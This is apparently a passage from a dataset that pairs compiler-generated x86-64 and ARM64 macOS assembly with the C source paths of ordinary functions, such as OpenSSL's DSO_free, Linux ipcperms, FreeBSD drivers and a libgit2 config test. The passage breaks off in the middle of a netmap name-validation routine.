@.str .asciz "%d" L_.str.1: ## @.str.1 .asciz "%d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 sub sp, sp, #16 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-56] sub x8, x29, #60 str x8, [sp, #-16]! Lloh3: adrp x0, l_.str@PAGE Lloh4: add x0, x0, l_.str@PAGEOFF bl _scanf add sp, sp, #16 mov x20, sp ldur w8, [x29, #-60] lsl x8, x8, #2 mov x9, x8 Lloh5: adrp x16, ___chkstk_darwin@GOTPAGE Lloh6: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x7fffffff0 sub x21, x9, x8 mov sp, x21 ldur w8, [x29, #-60] cmp w8, #1 b.lt LBB0_6 ; %bb.1: mov w22, #0 Lloh7: adrp x19, l_.str@PAGE Lloh8: add x19, x19, l_.str@PAGEOFF LBB0_2: ; =>This Inner Loop Header: Depth=1 mov w8, w22 lsl x23, x8, #2 add x8, x21, x23 str x8, [sp, #-16]! mov x0, x19 bl _scanf add sp, sp, #16 ldr w8, [x21, x23] and w9, w8, #0x1 ldur w8, [x29, #-60] add w22, w9, w22 cmp w22, w8 b.lt LBB0_2 ; %bb.3: cmp w8, #0 cinc w9, w8, lt cmp w8, #2 b.lt LBB0_7 ; %bb.4: mov x22, #0 mov w23, #-1 Lloh9: adrp x19, l_.str.1@PAGE Lloh10: add x19, x19, l_.str.1@PAGEOFF LBB0_5: ; =>This Inner Loop Header: Depth=1 ldr w9, [x21, x22, lsl #2] add w8, w8, w23 ldr w8, [x21, w8, sxtw #2] sub w8, w9, w8 str x8, [sp, #-16]! mov x0, x19 bl _printf add sp, sp, #16 add x22, x22, #1 ldur w8, [x29, #-60] cmp w8, #0 cinc w9, w8, lt asr w9, w9, #1 sub w23, w23, #1 cmp x22, w9, sxtw b.lt LBB0_5 b LBB0_8 LBB0_6: neg w9, w8 neg w9, w9, lsr #1 b LBB0_8 LBB0_7: asr w9, w9, #1 LBB0_8: and w8, w8, #0x80000001 cmp w8, #1 b.ne LBB0_10 ; %bb.9: add w8, w9, #1 ldr w8, [x21, w8, sxtw #2] str x8, [sp, #-16]! Lloh11: adrp x0, l_.str@PAGE Lloh12: add x0, x0, l_.str@PAGEOFF bl _printf add sp, sp, #16 LBB0_10: mov sp, x20 ldur x8, [x29, #-56] Lloh13: adrp x9, ___stack_chk_guard@GOTPAGE Lloh14: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh15: ldr x9, [x9] cmp x9, x8 b.ne LBB0_12 ; %bb.11: mov w0, #0 sub sp, x29, #48 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret LBB0_12: bl ___stack_chk_fail .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d" l_.str.1: ; @.str.1 .asciz "%d\n" .subsections_via_symbols
the_stack_data/70449080.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test_config_read__prefixes ## -- Begin function test_config_read__prefixes .p2align 4, 0x90 _test_config_read__prefixes: ## @test_config_read__prefixes .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 leaq L_.str(%rip), %rdi callq _cl_fixture leaq -16(%rbp), %rdi movl %eax, %esi callq _git_config_open_ondisk movl %eax, %edi callq _cl_git_pass movq -16(%rbp), %rsi movq _buf@GOTPCREL(%rip), %rbx leaq L_.str.1(%rip), %rdx movq %rbx, %rdi callq _git_config_get_string_buf movl %eax, %edi callq _cl_git_pass movq %rbx, %rdi callq _git_buf_cstr leaq L_.str.2(%rip), %rdi movl %eax, %esi callq _cl_assert_equal_s movq %rbx, %rdi callq _git_buf_clear movq -16(%rbp), %rsi leaq L_.str.3(%rip), %rdx movq %rbx, %rdi callq _git_config_get_string_buf movl %eax, %edi callq _cl_git_pass movq %rbx, %rdi callq _git_buf_cstr leaq L_.str.4(%rip), %rdi movl %eax, %esi callq _cl_assert_equal_s movq -16(%rbp), %rdi callq _git_config_free addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "config/config9" .comm _buf,4,2 ## @buf L_.str.1: ## @.str.1 .asciz "remote.ab.url" L_.str.2: ## @.str.2 .asciz "http://example.com/git/ab" L_.str.3: ## @.str.3 .asciz "remote.abba.url" L_.str.4: ## @.str.4 .asciz "http://example.com/git/abba" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test_config_read__prefixes ; -- Begin function test_config_read__prefixes .p2align 2 _test_config_read__prefixes: ; @test_config_read__prefixes .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _cl_fixture mov x1, x0 add x0, sp, #8 bl _git_config_open_ondisk bl _cl_git_pass ldr x1, [sp, #8] Lloh2: adrp x19, _buf@GOTPAGE Lloh3: ldr x19, [x19, _buf@GOTPAGEOFF] Lloh4: adrp x2, l_.str.1@PAGE Lloh5: add x2, x2, l_.str.1@PAGEOFF mov x0, x19 bl _git_config_get_string_buf bl _cl_git_pass mov x0, x19 bl _git_buf_cstr mov x1, x0 Lloh6: adrp x0, l_.str.2@PAGE Lloh7: add x0, x0, l_.str.2@PAGEOFF bl _cl_assert_equal_s mov x0, x19 bl _git_buf_clear ldr x1, [sp, #8] Lloh8: adrp x2, l_.str.3@PAGE Lloh9: add x2, x2, l_.str.3@PAGEOFF mov x0, x19 bl _git_config_get_string_buf bl _cl_git_pass mov x0, x19 bl _git_buf_cstr mov x1, x0 Lloh10: adrp x0, l_.str.4@PAGE Lloh11: add x0, x0, l_.str.4@PAGEOFF bl _cl_assert_equal_s ldr x0, [sp, #8] bl _git_config_free ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh8, Lloh9 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "config/config9" .comm _buf,4,2 ; @buf l_.str.1: ; @.str.1 .asciz "remote.ab.url" l_.str.2: ; @.str.2 .asciz "http://example.com/git/ab" l_.str.3: ; @.str.3 .asciz "remote.abba.url" l_.str.4: ; @.str.4 .asciz "http://example.com/git/abba" .subsections_via_symbols
AnghaBench/libgit2/tests/config/extr_read.c_test_config_read__prefixes.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function qla_drain_fp_taskqueues _qla_drain_fp_taskqueues: ## @qla_drain_fp_taskqueues .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl 8(%rdi), %eax testl %eax, %eax jle LBB0_5 ## %bb.1: movq %rdi, %r14 xorl %ebx, %ebx jmp LBB0_2 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_2 Depth=1 incq %rbx movslq %eax, %rcx cmpq %rcx, %rbx jge LBB0_5 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq (%r14), %rcx movq (%rcx,%rbx,8), %rdi testq %rdi, %rdi je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 callq _taskqueue_drain_all movl 8(%r14), %eax jmp LBB0_4 LBB0_5: popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _qla_drain_fp_taskqueues .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function qla_drain_fp_taskqueues _qla_drain_fp_taskqueues: ; @qla_drain_fp_taskqueues .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldr w8, [x0, #8] cmp w8, #1 b.lt LBB0_5 ; %bb.1: mov x19, x0 mov x20, #0 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 add x20, x20, #1 cmp x20, w8, sxtw b.ge LBB0_5 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x9, [x19] ldr x0, [x9, x20, lsl #3] cbz x0, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 bl _taskqueue_drain_all ldr w8, [x19, #8] b LBB0_2 LBB0_5: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _qla_drain_fp_taskqueues .subsections_via_symbols
AnghaBench/freebsd/sys/dev/qlxgbe/extr_ql_os.c_qla_drain_fp_taskqueues.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _DSO_free ## -- Begin function DSO_free .p2align 4, 0x90 _DSO_free: ## @DSO_free .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl $1, %r14d testq %rdi, %rdi je LBB0_8 ## %bb.1: movq %rdi, %rbx addq $40, %rdi movl 4(%rbx), %edx leaq -20(%rbp), %rsi callq _CRYPTO_DOWN_REF testq %rax, %rax jle LBB0_7 ## %bb.2: leaq L_.str(%rip), %rdi movq %rbx, %rsi callq _REF_PRINT_COUNT cmpl $0, -20(%rbp) jg LBB0_8 ## %bb.3: setne %al movzbl %al, %edi callq _REF_ASSERT_ISNT movq _DSO_FLAG_NO_UNLOAD_ON_FREE@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, (%rbx) je LBB0_9 LBB0_4: movq 32(%rbx), %rax movq (%rax), %rax testq %rax, %rax je LBB0_6 ## %bb.5: movq %rbx, %rdi callq *%rax testl %eax, %eax je LBB0_12 LBB0_6: movl 24(%rbx), %edi callq _sk_void_free movq 16(%rbx), %rdi callq _OPENSSL_free movq 8(%rbx), %rdi callq _OPENSSL_free movl 4(%rbx), %edi callq _CRYPTO_THREAD_lock_free movq %rbx, %rdi callq _OPENSSL_free jmp LBB0_8 LBB0_9: movq 32(%rbx), %rax movq 8(%rax), %rax testq %rax, %rax je LBB0_4 ## %bb.10: movq %rbx, %rdi callq *%rax testl %eax, %eax jne LBB0_4 ## %bb.11: movq _DSO_F_DSO_FREE@GOTPCREL(%rip), %rax movl (%rax), %edi movq _DSO_R_UNLOAD_FAILED@GOTPCREL(%rip), %rax jmp LBB0_13 LBB0_12: movq _DSO_F_DSO_FREE@GOTPCREL(%rip), %rax movl (%rax), %edi movq _DSO_R_FINISH_FAILED@GOTPCREL(%rip), %rax LBB0_13: movl (%rax), %esi callq _DSOerr LBB0_7: xorl %r14d, %r14d LBB0_8: movl %r14d, %eax addq $16, %rsp popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "DSO" .comm _DSO_FLAG_NO_UNLOAD_ON_FREE,4,2 ## @DSO_FLAG_NO_UNLOAD_ON_FREE .comm _DSO_F_DSO_FREE,4,2 ## @DSO_F_DSO_FREE .comm _DSO_R_UNLOAD_FAILED,4,2 ## @DSO_R_UNLOAD_FAILED .comm _DSO_R_FINISH_FAILED,4,2 ## @DSO_R_FINISH_FAILED .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _DSO_free ; -- Begin function DSO_free .p2align 2 _DSO_free: ; @DSO_free .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 cbz x0, LBB0_7 ; %bb.1: mov x19, x0 add x0, x0, #40 ldr w2, [x19, #4] add x1, sp, #12 bl _CRYPTO_DOWN_REF cmp x0, #1 b.lt LBB0_13 ; %bb.2: Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF mov x1, x19 bl _REF_PRINT_COUNT ldr w8, [sp, #12] cmp w8, #0 b.gt LBB0_7 ; %bb.3: cset w0, ne bl _REF_ASSERT_ISNT ldr w8, [x19] Lloh2: adrp x9, _DSO_FLAG_NO_UNLOAD_ON_FREE@GOTPAGE Lloh3: ldr x9, [x9, _DSO_FLAG_NO_UNLOAD_ON_FREE@GOTPAGEOFF] Lloh4: ldr w9, [x9] tst w9, w8 b.eq LBB0_8 LBB0_4: ldr x8, [x19, #32] ldr x8, [x8] cbz x8, LBB0_6 ; %bb.5: mov x0, x19 blr x8 cbz w0, LBB0_11 LBB0_6: ldr w0, [x19, #24] bl _sk_void_free ldr x0, [x19, #16] bl _OPENSSL_free ldr x0, [x19, #8] bl _OPENSSL_free ldr w0, [x19, #4] bl _CRYPTO_THREAD_lock_free mov x0, x19 bl _OPENSSL_free LBB0_7: mov w0, #1 b LBB0_14 LBB0_8: ldr x8, [x19, #32] ldr x8, [x8, #8] cbz x8, LBB0_4 ; %bb.9: mov x0, x19 blr x8 cbnz w0, LBB0_4 ; %bb.10: Lloh5: adrp x8, _DSO_F_DSO_FREE@GOTPAGE Lloh6: ldr x8, [x8, _DSO_F_DSO_FREE@GOTPAGEOFF] Lloh7: ldr w0, [x8] Lloh8: adrp x8, _DSO_R_UNLOAD_FAILED@GOTPAGE Lloh9: ldr x8, [x8, _DSO_R_UNLOAD_FAILED@GOTPAGEOFF] b LBB0_12 LBB0_11: Lloh10: adrp x8, _DSO_F_DSO_FREE@GOTPAGE Lloh11: ldr x8, [x8, _DSO_F_DSO_FREE@GOTPAGEOFF] Lloh12: ldr w0, [x8] Lloh13: adrp x8, _DSO_R_FINISH_FAILED@GOTPAGE Lloh14: ldr x8, [x8, _DSO_R_FINISH_FAILED@GOTPAGEOFF] LBB0_12: ldr w1, [x8] bl _DSOerr LBB0_13: mov w0, #0 LBB0_14: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGot Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "DSO" .comm _DSO_FLAG_NO_UNLOAD_ON_FREE,4,2 ; @DSO_FLAG_NO_UNLOAD_ON_FREE .comm _DSO_F_DSO_FREE,4,2 ; @DSO_F_DSO_FREE .comm _DSO_R_UNLOAD_FAILED,4,2 ; @DSO_R_UNLOAD_FAILED .comm _DSO_R_FINISH_FAILED,4,2 ; @DSO_R_FINISH_FAILED .subsections_via_symbols
AnghaBench/freebsd/crypto/openssl/crypto/dso/extr_dso_lib.c_DSO_free.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ipcperms ## -- Begin function ipcperms .p2align 4, 0x90 _ipcperms: ## @ipcperms .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r14d movq %rdi, %r15 xorl %eax, %eax callq _current_euid movq %rax, %r12 movq %r15, %rdi callq _audit_ipc_obj movzwl %r14w, %eax movl %eax, %ebx shrl $3, %ebx orl %eax, %ebx shrl $6, %eax orl %eax, %ebx movl (%r15), %r13d cmpq 8(%r15), %r12 je LBB0_2 ## %bb.1: cmpq 16(%r15), %r12 jne LBB0_3 LBB0_2: sarl $6, %r13d jmp LBB0_6 LBB0_3: movl 28(%r15), %edi callq _in_group_p testq %rax, %rax jne LBB0_5 ## %bb.4: movl 24(%r15), %edi callq _in_group_p testq %rax, %rax je LBB0_6 LBB0_5: sarl $3, %r13d LBB0_6: notl %r13d andl %r13d, %ebx testb $7, %bl je LBB0_9 ## %bb.7: movq _CAP_IPC_OWNER@GOTPCREL(%rip), %rax movl (%rax), %edi callq _capable testl %eax, %eax je LBB0_8 LBB0_9: movswl %r14w, %esi movq %r15, %rdi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _security_ipc_permission ## TAILCALL LBB0_8: movl $-1, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _CAP_IPC_OWNER,4,2 ## @CAP_IPC_OWNER .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ipcperms ; -- Begin function ipcperms .p2align 2 _ipcperms: ; @ipcperms .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x1 mov x20, x0 bl _current_euid mov x21, x0 mov x0, x20 bl _audit_ipc_obj and w8, w19, #0xffff orr w9, w8, w8, lsr #3 orr w22, w9, w8, lsr #6 ldr w23, [x20] ldr x8, [x20, #8] cmp x21, x8 b.eq LBB0_2 ; %bb.1: ldr x8, [x20, #16] cmp x21, x8 b.ne LBB0_3 LBB0_2: asr w23, w23, #6 b LBB0_6 LBB0_3: ldr w0, [x20, #28] bl _in_group_p cbnz x0, LBB0_5 ; %bb.4: ldr w0, [x20, #24] bl _in_group_p cbz x0, LBB0_6 LBB0_5: asr w23, w23, #3 LBB0_6: bic w8, w22, w23 tst w8, #0x7 b.eq LBB0_8 ; %bb.7: Lloh0: adrp x8, _CAP_IPC_OWNER@GOTPAGE Lloh1: ldr x8, [x8, _CAP_IPC_OWNER@GOTPAGEOFF] Lloh2: ldr w0, [x8] bl _capable cbz w0, LBB0_9 LBB0_8: mov x0, x20 mov x1, x19 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _security_ipc_permission LBB0_9: mov w0, #-1 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _CAP_IPC_OWNER,4,2 ; @CAP_IPC_OWNER .subsections_via_symbols
AnghaBench/fastsocket/kernel/ipc/extr_util.c_ipcperms.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function pl031_set_alarm _pl031_set_alarm: ## @pl031_set_alarm .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r12 movq %rdi, %r14 callq _dev_get_drvdata movq %rax, %r15 leaq 4(%r12), %rbx movq %rbx, %rdi callq _rtc_valid_tm testl %eax, %eax jne LBB0_3 ## %bb.1: leaq -40(%rbp), %rsi movq %rbx, %rdi callq _rtc_tm_to_time testl %eax, %eax jne LBB0_3 ## %bb.2: movq -40(%rbp), %rdi movq _RTC_MR@GOTPCREL(%rip), %rax movq (%rax), %rsi addq (%r15), %rsi callq _writel movl (%r12), %esi movq %r14, %rdi callq _pl031_alarm_irq_enable xorl %eax, %eax LBB0_3: addq $16, %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _RTC_MR,8,3 ## @RTC_MR .no_dead_strip _pl031_set_alarm .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function pl031_set_alarm _pl031_set_alarm: ; @pl031_set_alarm .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x1 mov x19, x0 bl _dev_get_drvdata mov x21, x0 add x22, x20, #4 mov x0, x22 bl _rtc_valid_tm cbnz w0, LBB0_3 ; %bb.1: add x1, sp, #8 mov x0, x22 bl _rtc_tm_to_time cbnz w0, LBB0_3 ; %bb.2: ldr x0, [sp, #8] ldr x8, [x21] Lloh0: adrp x9, _RTC_MR@GOTPAGE Lloh1: ldr x9, [x9, _RTC_MR@GOTPAGEOFF] Lloh2: ldr x9, [x9] add x1, x9, x8 bl _writel ldr w1, [x20] mov x0, x19 bl _pl031_alarm_irq_enable mov w0, #0 LBB0_3: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _RTC_MR,8,3 ; @RTC_MR .no_dead_strip _pl031_set_alarm .subsections_via_symbols
AnghaBench/linux/drivers/rtc/extr_rtc-pl031.c_pl031_set_alarm.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function page_unbusy _page_unbusy: ## @page_unbusy .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx callq _vm_page_sunbusy movl (%rbx), %edi addq $8, %rsp popq %rbx popq %rbp jmp _vm_object_pip_wakeup ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _page_unbusy .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function page_unbusy _page_unbusy: ; @page_unbusy .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 bl _vm_page_sunbusy ldr w0, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _vm_object_pip_wakeup .cfi_endproc ; -- End function .no_dead_strip _page_unbusy .subsections_via_symbols
AnghaBench/freebsd/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/extr_zfs_vnops.c_page_unbusy.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function hsi_controller_release _hsi_controller_release: ## @hsi_controller_release .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 callq _to_hsi_controller movq %rax, %rbx movq (%rax), %rdi callq _kfree movq %rbx, %rdi addq $8, %rsp popq %rbx popq %rbp jmp _kfree ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _hsi_controller_release .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function hsi_controller_release _hsi_controller_release: ; @hsi_controller_release .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 bl _to_hsi_controller mov x19, x0 ldr x0, [x0] bl _kfree mov x0, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _kfree .cfi_endproc ; -- End function .no_dead_strip _hsi_controller_release .subsections_via_symbols
AnghaBench/linux/drivers/hsi/extr_hsi_core.c_hsi_controller_release.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function nm_bdg_name_validate _nm_bdg_name_validate: ## @nm_bdg_name_validate .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl $-1, %r14d testq %rdi, %rdi je LBB0_11 ## %bb.1: movq %rsi, %r15 movq %rdi, %r12 callq _strlen cltq cmpq %r15, %rax jb LBB0_11 ## %bb.2: movq _NM_BDG_IFNAMSIZ@GOTPCREL(%rip), %r15 movl $-1, %r14d cmpl $0, (%r15) movl $-1, %ebx jle LBB0_10 ## %bb.3: xorl %ebx, %ebx .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movzbl (%r12,%rbx), %eax testb %al, %al je LBB0_9 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 cmpb $58, %al je LBB0_10 ## %bb.6: ## in Loop: Header=BB0_4 Depth=1 movsbl %al, %edi callq _nm_is_id_char testl %eax, %eax je LBB0_7 ## %bb.8: ## in Loop: Header=BB0_4 Depth=1 incq %rbx movslq (%r15), %rax cmpq %rax, %rbx jl LBB0_4 LBB0_9: movl $-1, %ebx LBB0_10: movq %r12, %rdi callq _strlen subl %ebx, %eax movq _IFNAMSIZ@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax 